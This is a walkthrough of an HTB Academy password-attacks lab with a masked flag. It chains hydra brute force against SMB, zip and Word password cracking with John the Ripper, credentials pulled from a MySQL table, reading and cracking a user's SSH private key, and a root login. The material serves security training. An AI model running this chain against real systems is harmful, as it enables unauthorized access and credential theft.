Skip to content

Password Attacks Lab - Medium

ℹ️ Informations

❓Question

Examine the second target and submit the contents of flag.txt in /root/ as the answer.

📋 Walkthrough

  1. Port Scan: 
    ┌──(kali㉿kali)-[~/Desktop/HTB/Academy]
└─$ autonmap $target -t Script
    Running a port scan on the target reveals open ports and services. The target is likely running Linux with SSH and Samba services.
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
139/tcp open  netbios-ssn Samba smbd 4
445/tcp open  netbios-ssn Samba smbd 4

  1. Brute Force SMB Login: 

    ┌──(kali㉿kali)-[~/Desktop/HTB/Academy]
└─$ hydra -L username.list smb://$target -P password.list
    Using Hydra to brute force SMB login credentials. The target does not support SMBv1.

  2. List SMB Shares: 

    ┌──(kali㉿kali)-[~/Desktop/HTB/Academy]
└─$ smbclient -L //$target
    Listing available SMB shares on the target.

  3. Access SMB Share: 

    ┌──(kali㉿kali)-[~/Desktop/HTB/Academy]
└─$ smbclient //$target/SHAREDRIVE
    Accessing the SHAREDRIVE share and downloading Docs.zip.

  4. Extract and Crack Zip File: 

    ┌──(kali㉿kali)-[~/Desktop/HTB/Academy]
└─$ unzip Docs.zip
    Extracting Docs.zip requires a password. Using John the Ripper to crack the zip file password.

┌──(kali㉿kali)-[~/Desktop/HTB/Academy]
└─$ john -w=mut.txt hash

  1. Crack Document Password: 

    ┌──(kali㉿kali)-[~/Desktop/HTB/Academy]
└─$ office2john Documentation.docx > hash
┌──(kali㉿kali)-[~/Desktop/HTB/Academy]
└─$ john -w=mut.txt hash
    Cracking the password for Documentation.docx using John the Ripper.

  2. SSH to Target: 

    ┌──(kali㉿kali)-[~/Desktop/HTB/Academy]
└─$ ssh -D 9050 jason@$target
    Using the credentials found in the document to SSH into the target as user jason.

  3. Check for Open Ports: 

    jason@skills-medium:~$ ss -tuln
    Checking for open ports on the target to find a MySQL database running locally.

  4. Access MySQL Database: 

    jason@skills-medium:~$ mysql -ujason -p
    Logging into the MySQL database and retrieving credentials from the creds table.

  5. Switch User to dennis: 

    jason@skills-medium:~$ su dennis
    Using the credentials found in the database to switch to user dennis.

  6. Retrieve SSH Key: 

    dennis@skills-medium:~$ cat .ssh/id_rsa
    Retrieving the SSH private key for dennis and cracking its passphrase using John the Ripper.

  7. SSH as Root: 

    ┌──(kali㉿kali)-[~/Desktop/HTB/Academy]
└─$ ssh root@10.129.166.2 -i id_rsa
    Using the cracked SSH key to SSH into the target as root and retrieve the flag.

Answer

HTB{**********}